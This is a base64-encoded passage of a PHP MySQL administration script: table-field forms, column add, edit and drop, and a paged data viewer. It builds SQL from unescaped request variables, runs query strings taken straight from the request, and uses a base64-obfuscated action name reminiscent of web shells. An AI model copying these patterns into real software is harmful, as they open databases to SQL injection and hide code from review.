dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3Rk
Pgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTUUi
ICc7IGlmKCAkdHlwZSA9PSAidGltZSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRSAoLTgz
ODo1OTo1OSB+IDgzODo1OTo1OSwgSEg6TU06U1MpPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZu
YnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90
cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJZRUFSIiAnOyBp
ZiggJHR5cGUgPT0gInllYXIiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPllFQVIgKDE5MDEgfiAy
MTU1LCAwMDAwLCBZWVlZKTwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4m
bmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxp
bnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQ0hBUiIgJzsgaWYoICR0eXBlID09ICJj
aGFyIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5DSEFSPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5P
PC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkIGFs
aWduPWNlbnRlcj5PPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10
eXBlIHZhbHVlPSJWQVJDSEFSIiAnOyBpZiggJHR5cGUgPT0gInZhcmNoYXIiICkgZWNobyAiY2hl
Y2tlZCI7ZWNobyAnPlZBUkNIQVI8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5i
c3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88
L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJ
TllURVhUIiAnOyBpZiggJHR5cGUgPT0gInRpbnl0ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8g
Jz5USU5ZVEVYVCAoMCB+IDI1NSk8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8
dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0
ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRFWFQiICc7IGlmKCAkdHlwZSA9
PSAidGV4dCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VEVYVCAoMCB+IDY1NTM1KTwvdGQ+Cjx0
ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+
Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlw
ZSB2YWx1ZT0iTUVESVVNVEVYVCIgJzsgaWYoICR0eXBlID09ICJtZWRpdW10ZXh0IiApIGVjaG8g
ImNoZWNrZWQiO2VjaG8gJz5NRURJVU1URVhUICgwIH4gMTY3NzcyMTUpPC90ZD4KPHRkPiZuYnNw
PC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZu
YnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVl
PSJMT05HVEVYVCIgJzsgaWYoICR0eXBlID09ICJsb25ndGV4dCIgKSBlY2hvICJjaGVja2VkIjtl
Y2hvICc+TE9OR1RFWFQgKDAgfiA0Mjk0OTY3Mjk1KTwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4m
bmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjwv
dHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElOWUJMT0Ii
ICc7IGlmKCAkdHlwZSA9PSAidGlueWJsb2IiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllC
TE9CICgwIH4gMjU1KTwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJz
cDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1
dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQkxPQiIgJzsgaWYoICR0eXBlID09ICJibG9i
IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CTE9CICgwIH4gNjU1MzUpPC90ZD4KPHRkPiZuYnNw
PC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZu
YnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVl
PSJNRURJVU1CTE9CIiAnOyBpZiggJHR5cGUgPT0gIm1lZGl1bWJsb2IiICkgZWNobyAiY2hlY2tl
ZCI7ZWNobyAnPk1FRElVTUJMT0IgKDAgfiAxNjc3NzIxNSk8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8
dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3Rk
Pgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxPTkdC
TE9CIiAnOyBpZiggJHR5cGUgPT0gImxvbmdibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5M
T05HQkxPQiAoMCB+IDQyOTQ5NjcyOTUpPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90
ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRy
Pgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJFTlVNIiAnOyBpZiggJHR5
cGUgPT0gImVudW0iICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkVOVU08L3RkPgo8dGQgY29sc3Bh
bj01PjxjZW50ZXI+dmFsdWUgbGlzdDwvY2VudGVyPjwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1
dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iU0VUIiAnOyBpZiggJHR5cGUgPT0gInNldCIg
KSBlY2hvICJjaGVja2VkIjtlY2hvICc+U0VUPC90ZD4KPHRkIGNvbHNwYW49NT48Y2VudGVyPnZh
bHVlIGxpc3Q8L2NlbnRlcj48L3RkPgo8L3RyPgoKPC90YWJsZT4KPHRhYmxlPgo8dHI+PHRoPk08
L3RoPjx0aD5EPC90aD48dGg+dW5zaWduZWQ8L3RoPjx0aD56ZXJvZmlsbDwvdGg+PHRoPmJpbmFy
eTwvdGg+PHRoPnZhbHVlIGxpc3QgKGV4OiBcJ2FwcGxlXCcsIFwnb3JhbmdlXCcsIFwnYmFuYW5h
XCcpIDwvdGg+PC90cj4KPHRyPgo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPXRleHQgc2l6
ZT00IG5hbWU9TSAnOyBpZiggJE0gIT0gIiIgKSBlY2hvICJ2YWx1ZT0kTSI7ZWNobyAnPjwvdGQ+
Cjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTQgbmFtZT1EICc7IGlmKCAk
RCAhPSAiIiApIGVjaG8gInZhbHVlPSREIjtlY2hvICc+PC90ZD4KPHRkIGFsaWduPWNlbnRlcj48
aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVuc2lnbmVkIHZhbHVlPSJVTlNJR05FRCIgJzsgaWYo
IHN0cnBvcyggJGZpZWxkdHlwZSwgInVuc2lnbmVkIiApICkgZWNobyAiY2hlY2tlZCI7ZWNobyAn
PjwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT16ZXJvZmls
bCB2YWx1ZT0iWkVST0ZJTEwiICc7IGlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICJ6ZXJvZmlsbCIg
KSApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz48L3RkPgo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0
eXBlPWNoZWNrYm94IG5hbWU9YmluYXJ5IHZhbHVlPSJCSU5BUlkiICc7IGlmKCBzdHJwb3MoICRm
aWVsZHR5cGUsICJiaW5hcnkiICkgICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+Cjx0ZCBh
bGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTYwIG5hbWU9dmFsdWVsaXN0ICc7IGlm
KCAkdmFsdWVsaXN0ICE9ICIiICkgZWNobyAidmFsdWU9XCIkdmFsdWVsaXN0XCIiO2VjaG8gJz48
L3RkPgo8L3RyPgo8L3RhYmxlPgoKCjxoMz5GbGFnczwvaDM+Cjx0YWJsZT4KPHRyPjx0aD5ub3Qg
bnVsbDwvdGg+PHRoPmRlZmF1bHQgdmFsdWU8L3RoPjx0aD5hdXRvIGluY3JlbWVudDwvdGg+PHRo
PnByaW1hcnkga2V5PC90aD48L3RyPgo8dHI+Cjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9
Y2hlY2tib3ggbmFtZT1ub3RfbnVsbCB2YWx1ZT0iTk9UIE5VTEwiICc7IGlmKCAkZmllbGRudWxs
ICE9ICJZRVMiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+
PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRlZmF1bHRfdmFsdWUgJzsgaWYoICRmaWVsZGRlZmF1bHQg
IT0gIiIgKSBlY2hvICJ2YWx1ZT0kZmllbGRkZWZhdWx0IjtlY2hvICc+PC90ZD4KPHRkIGFsaWdu
PWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWF1dG9faW5jcmVtZW50IHZhbHVlPSJB
VVRPX0lOQ1JFTUVOVCIgJzsgaWYoICRmaWVsZGV4dHJhID09ICJhdXRvX2luY3JlbWVudCIgKSBl
Y2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1j
aGVja2JveCBuYW1lPXByaW1hcnlfa2V5IHZhbHVlPSJQUklNQVJZIEtFWSIgJzsgaWYoICRmaWVs
ZGtleSA9PSAiUFJJIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz48L3RkPgo8L3RyPgo8L3RhYmxl
PgoKPHA+JzsKCglpZiggJGNtZCA9PSAiYWRkIiApCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0
IHZhbHVlPSdBZGQgRmllbGQnPlxuIjsKCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkKCQllY2hv
ICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0VkaXQgRmllbGQnPlxuIjsKCWVjaG8gIjxpbnB1
dCB0eXBlPWJ1dHRvbiB2YWx1ZT1DYW5jZWwgb25DbGljaz0naGlzdG9yeS5iYWNrKCknPlxuIjsK
CWVjaG8gIjwvZm9ybT5cbiI7Cn0KCmZ1bmN0aW9uIG1hbmFnZUZpZWxkX3N1Ym1pdCggJGNtZCAp
IHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRvbGRfbmFtZSwg
JG5hbWUsICR0eXBlLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZywKCQkkTSwgJEQsICR1
bnNpZ25lZCwgJHplcm9maWxsLCAkYmluYXJ5LCAkbm90X251bGwsICRkZWZhdWx0X3ZhbHVlLCAk
YXV0b19pbmNyZW1lbnQsICRwcmltYXJ5X2tleSwgJHZhbHVlbGlzdDsKCglpZiggJGNtZCA9PSAi
YWRkIiApCgkJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREICRuYW1lICI7
CgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApCgkJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0
YWJsZW5hbWUgQ0hBTkdFICRvbGRfbmFtZSAkbmFtZSAiOwoKCWlmKCAkTSAhPSAiIiApCgkJaWYo
ICREICE9ICIiICkKCQkJJHF1ZXJ5U3RyIC49ICIkdHlwZSgkTSwkRCkgIjsKCQllbHNlCgkJCSRx
dWVyeVN0ciAuPSAiJHR5cGUoJE0pICI7CgllbHNlIGlmKCAkdmFsdWVsaXN0ICE9ICIiICkgewoJ
CSR2YWx1ZWxpc3QgPSBzdHJpcHNsYXNoZXMoICR2YWx1ZWxpc3QgKTsKCQkkcXVlcnlTdHIgLj0g
IiR0eXBlKCR2YWx1ZWxpc3QpICI7Cgl9IGVsc2UKCQkkcXVlcnlTdHIgLj0gIiR0eXBlICI7CgoJ
JHF1ZXJ5U3RyIC49ICIkdW5zaWduZWQgJHplcm9maWxsICRiaW5hcnkgIjsKCglpZiggJGRlZmF1
bHRfdmFsdWUgIT0gIiIgKQoJCSRxdWVyeVN0ciAuPSAiREVGQVVMVCAnJGRlZmF1bHRfdmFsdWUn
ICI7CgoJJHF1ZXJ5U3RyIC49ICIkbm90X251bGwgJGF1dG9faW5jcmVtZW50IjsKCglteXNxbF9z
ZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOwoJbXlzcWxfcXVlcnkoICRxdWVyeVN0
ciwgJG15c3FsSGFuZGxlICk7CgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsKCgkvLyBrZXkgY2hh
bmdlCgkka2V5Q2hhbmdlID0gZmFsc2U7CgkkcmVzdWx0ID0gbXlzcWxfcXVlcnkoICJTSE9XIEtF
WVMgRlJPTSAkdGFibGVuYW1lIiApOwoJJHByaW1hcnkgPSAiIjsKCXdoaWxlKCAkcm93ID0gbXlz
cWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkgKQoJCWlmKCAkcm93WyJLZXlfbmFtZSJdID09ICJQUklN
QVJZIiApIHsKCQkJaWYoICRyb3dbQ29sdW1uX25hbWVdID09ICRuYW1lICkKCQkJCSRrZXlDaGFu
Z2UgPSB0cnVlOwoJCQllbHNlCgkJCQkkcHJpbWFyeSAuPSAiLCAkcm93W0NvbHVtbl9uYW1lXSI7
CgkJfQoJaWYoICRwcmltYXJ5X2tleSA9PSAiUFJJTUFSWSBLRVkiICkgewoJCSRwcmltYXJ5IC49
ICIsICRuYW1lIjsKCQkka2V5Q2hhbmdlID0gISRrZXlDaGFuZ2U7Cgl9CgkkcHJpbWFyeSA9IHN1
YnN0ciggJHByaW1hcnksIDIgKTsKCWlmKCAka2V5Q2hhbmdlID09IHRydWUgKSB7CgkJJHEgPSAi
QUxURVIgVEFCTEUgJHRhYmxlbmFtZSBEUk9QIFBSSU1BUlkgS0VZIjsKCQlteXNxbF9xdWVyeSgg
JHEgKTsKCQkkcXVlcnlTdHIgLj0gIjxicj5cbiIgLiAkcTsKCQkkZXJyTXNnIC49ICI8YnI+XG4i
IC4gbXlzcWxfZXJyb3IoKTsKCQkkcSA9ICJBTFRFUiBUQUJMRSAkdGFibGVuYW1lIEFERCBQUklN
QVJZIEtFWSggJHByaW1hcnkgKSI7CgkJbXlzcWxfcXVlcnkoICRxICk7CgkJJHF1ZXJ5U3RyIC49
ICI8YnI+XG4iIC4gJHE7CgkJJGVyck1zZyAuPSAiPGJyPlxuIiAuIG15c3FsX2Vycm9yKCk7Cgl9
CgoJdmlld1NjaGVtYSgpOwp9CgpmdW5jdGlvbiBkcm9wRmllbGQoKSB7CglnbG9iYWwgJG15c3Fs
SGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVy
eVN0ciwgJGVyck1zZzsKCgkkcXVlcnlTdHIgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBEUk9Q
IENPTFVNTiAkZmllbGRuYW1lIjsKCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFu
ZGxlICk7CglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICwgJG15c3FsSGFuZGxlICk7CgkkZXJyTXNn
ID0gbXlzcWxfZXJyb3IoKTsKCgl2aWV3U2NoZW1hKCk7Cn0KCmZ1bmN0aW9uIHZpZXdEYXRhKCAk
cXVlcnlTdHIgKSB7CglnbG9iYWwgJGFjdGlvbiwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFi
bGVuYW1lLCAkUEhQX1NFTEYsICRlcnJNc2csICRwYWdlLCAkcm93cGVycGFnZSwgJG9yZGVyYnk7
CgoJZWNobyAiPGgxPkRhdGEgaW4gVGFibGU8L2gxPlxuIjsKCWlmKCAkdGFibGVuYW1lICE9ICIi
ICkKCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kZGJuYW1lICZndDsgJHRhYmxlbmFtZTwvcD5c
biI7CgllbHNlCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7CgoJJHF1
ZXJ5U3RyID0gc3RyaXBzbGFzaGVzKCAkcXVlcnlTdHIgKTsKCWlmKCAkcXVlcnlTdHIgPT0gIiIg
KSB7CgkJJHF1ZXJ5U3RyID0gIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSI7CgkJaWYoICRvcmRl
cmJ5ICE9ICIiICkKCQkJJHF1ZXJ5U3RyIC49ICIgT1JERVIgQlkgJG9yZGVyYnkiOwoJCWVjaG8g
IjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YWRkRGF0YSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5h
bWU9JHRhYmxlbmFtZSc+QWRkIERhdGE8L2E+IHwgXG4iOwoJCWVjaG8gIjxhIGhyZWY9JyRQSFBf
U0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFt
ZSc+U2NoZW1hPC9hPlxuIjsKCX0KCgkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1l
LCAkcXVlcnlTdHIgKTsKCSRmaWVsZHQgPSBteXNxbF9mZXRjaF9maWVsZCgkcFJlc3VsdCk7Cgkk
dGFibGVuYW1lID0gJGZpZWxkdC0+dGFibGU7CgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsKCgkk
R0xPQkFMU1txdWVyeVN0cl0gPSAkcXVlcnlTdHI7CgoJaWYoICRwUmVzdWx0ID09IGZhbHNlICkg
ewoJCWVjaG9RdWVyeVJlc3VsdCgpOwoJCXJldHVybjsKCX0KCWlmKCAkcFJlc3VsdCA9PSAxICkg
ewoJCSRlcnJNc2cgPSAiU3VjY2VzcyI7CgkJZWNob1F1ZXJ5UmVzdWx0KCk7CgkJcmV0dXJuOwoJ
fQoKCWVjaG8gIjxocj5cbiI7CgoJJHJvdyA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOwoJ
JGNvbCA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7CgoJaWYoICRyb3cgPT0gMCApIHsK
CQllY2hvICJObyBEYXRhIEV4aXN0ISI7CgkJcmV0dXJuOwoJfQoKCWlmKCAkcm93cGVycGFnZSA9
PSAiIiApICRyb3dwZXJwYWdlID0gMzA7CglpZiggJHBhZ2UgPT0gIiIgKSAkcGFnZSA9IDA7Cgll
bHNlICRwYWdlLS07CglteXNxbF9kYXRhX3NlZWsoICRwUmVzdWx0LCAkcGFnZSAqICRyb3dwZXJw
YWdlICk7CgoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj5cbiI7Cgll
Y2hvICI8dHI+XG4iOwoJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsKCQkkZmllbGQg
PSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQsICRpICk7CgkJZWNobyAiPHRoPiI7CgkJaWYo
JGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikKCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2Fj
dGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmb3Jk
ZXJieT0iLiRmaWVsZC0+bmFtZS4iJz4iLiRmaWVsZC0+bmFtZS4iPC9hPlxuIjsKCQllbHNlCgkJ
CWVjaG8gJGZpZWxkLT5uYW1lLiJcbiI7CgkJZWNobyAiPC90aD5cbiI7Cgl9CgllY2hvICI8dGgg
Y29sc3Bhbj0yPkFjdGlvbjwvdGg+XG4iOwoJZWNobyAiPC90cj5cbiI7CgoJZm9yKCAkaSA9IDA7
ICRpIDwgJHJvd3BlcnBhZ2U7ICRpKysgKSB7CgkJJHJvd0FycmF5ID0gbXlzcWxfZmV0Y2hfcm93
KCAkcFJlc3VsdCApOwoJCWlmKCAkcm93QXJyYXkgPT0gZmFsc2UgKSBicmVhazsKCQllY2hvICI8
dHI+XG4iOwoJCSRrZXkgPSAiIjsKCQlmb3IoICRqID0gMDsgJGogPCAkY29sOyAkaisrICkgewoJ
CQkkZGF0YSA9ICRyb3dBcnJheVskal07CgoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCgg
JHBSZXN1bHQsICRqICk7CgkJCWlmKCAkZmllbGQtPnByaW1hcnlfa2V5ID09IDEgKQoJCQkJJGtl
eSAuPSAiJiIgLiAkZmllbGQtPm5hbWUgLiAiPSIgLiAkZGF0YTsKCgkJCWlmKCBzdHJsZW4oICRk
YXRhICkgPiAzMCApCgkJCQkkZGF0YSA9IHN1YnN0ciggJGRhdGEsIDAsIDMwICkgLiAiLi4uIjsK
CQkJJGRhdGEgPSBodG1sc3BlY2lhbGNoYXJzKCAkZGF0YSApOwoJCQllY2hvICI8dGQ+XG4iOwoJ
CQllY2hvICIkZGF0YVxuIjsKCQkJZWNobyAiPC90ZD5cbiI7CgkJfQoKCQlpZiggJGtleSA9PSAi
IiApCgkJCWVjaG8gIjx0ZCBjb2xzcGFuPTI+bm8gS2V5PC90ZD5cbiI7CgkJZWxzZSB7CgkJCWVj
aG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWVkaXREYXRhJGtleSZkYm5hbWU9JGRi
bmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RWRpdDwvYT48L3RkPlxuIjsKCQkJZWNobyAiPHRk
PjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZGVsZXRlRGF0YSRrZXkmZGJuYW1lPSRkYm5hbWUm
dGFibGVuYW1lPSR0YWJsZW5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRGVsZXRlIFJv
dz8nKVwiPkRlbGV0ZTwvYT48L3RkPlxuIjsKCQl9CgkJZWNobyAiPC90cj5cbiI7Cgl9CgllY2hv
ICI8L3RhYmxlPlxuIjsKCgllY2hvICI8Zm9udCBzaXplPTI+XG4iOwoJaWYoJGFjdGlvbiA9PSAi
ZG1sbGQwUmhkR0U9IikKCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249ZG1s
bGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBtZXRob2Q9cG9z
dD5cbiI7CgllbHNlCgkJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5
JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0cicg
bWV0aG9kPXBvc3Q+XG4iOwoKCWVjaG8gKCRwYWdlKzEpLiIvIi4oaW50KSgkcm93LyRyb3dwZXJw
YWdlKzEpLiIgcGFnZSI7CgllY2hvICI8L2ZvbnQ+XG4iOwoJZWNobyAiIHwgIjsKCWlmKCAkcGFn
ZSA+IDAgKSB7CgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikKCQkJZWNobyAiPGEgaHJl
Zj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1l
PSR0YWJsZW5hbWUmcGFnZT0iLigkcGFnZSk7CgkJZWxzZQoJCQllY2hvICI8YSBocmVmPSckUEhQ
X1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1
ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdlKTsKCQlpZiggJG9yZGVyYnkgIT0gIiIgJiYg
JGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikKCQkJZWNobyAiJm9yZGVyYnk9JG9yZGVyYnkiOwoJ
CWVjaG8gIic+UHJldjwvYT5cbiI7Cgl9IGVsc2UKCQllY2hvICJQcmV2IjsKCWVjaG8gIiB8ICI7
CglpZiggJHBhZ2UgPCAoJHJvdy8kcm93cGVycGFnZSktMSApIHsKCQlpZigkYWN0aW9uID09ICJk
bWxsZDBSaGRHRT0iKQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRtbGxkMFJo
ZEdFPSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZwYWdlPSIuKCRwYWdlKzIp
OwoJCWVsc2UKCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1xdWVyeSZkYm5hbWU9
JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZxdWVyeVN0cj0kcXVlcnlTdHImcGFnZT0iLigk
cGFnZSsyKTsKCQlpZiggJG9yZGVyYnkgIT0gIiIgJiYgJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9
IikKCQkJZWNobyAiJm9yZGVyYnk9JG9yZGVyYnkiOwoJCWVjaG8gIic+TmV4dDwvYT5cbiI7Cgl9
IGVsc2UKCQllY2hvICJOZXh0IjsKCWVjaG8gIiB8ICI7CglpZiggJHJvdyA+ICRyb3dwZXJwYWdl
ICkgewoJCWVjaG8gIjxpbnB1dCB0eXBlPXRleHQgc2l6ZT00IG5hbWU9cGFnZT5cbiI7CgkJZWNo
byAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdHbyc+XG4iOwoJfQoJZWNobyAiPC9mb3JtPlxu
IjsKCWVjaG8gIjwvZm9udD5cbiI7Cn0KCmZ1bmN0aW9uIG1hbmFnZURhdGEoICRjbWQgKSB7Cgln
bG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEY7CgoJaWYo
ICRjbWQgPT0gImFkZCIgKQoJCWVjaG8gIjxoMT5BZGQgRGF0YTwvaDE+XG4iOwoJZWxzZSBpZigg
JGNtZCA9PSAiZWRpdCIgKSB7CgkJZWNobyAiPGgxPkVkaXQgRGF0YTwvaDE+XG4iOwoJCSRwUmVz
dWx0ID0gbXlzcWxfbGlzdF9maWVsZHMoICRkYm5hbWUsICR0YWJsZW5hbWUgKTsKCQkkbnVtID0g
bXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsKCgkJJGtleSA9ICIiOwoJCWZvciggJGkgPSAw
OyAkaSA8ICRudW07ICRpKysgKSB7CgkJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJl
c3VsdCwgJGkgKTsKCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApCgkJCQlpZiggJGZp
ZWxkLT5udW1lcmljID09IDEgKQoJCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0iIC4gJEdM
T0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7CgkJCQllbHNlCgkJCQkJJGtleSAuPSAkZmll
bGQtPm5hbWUgLiAiPSciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICInIEFORCAiOwoJCX0K
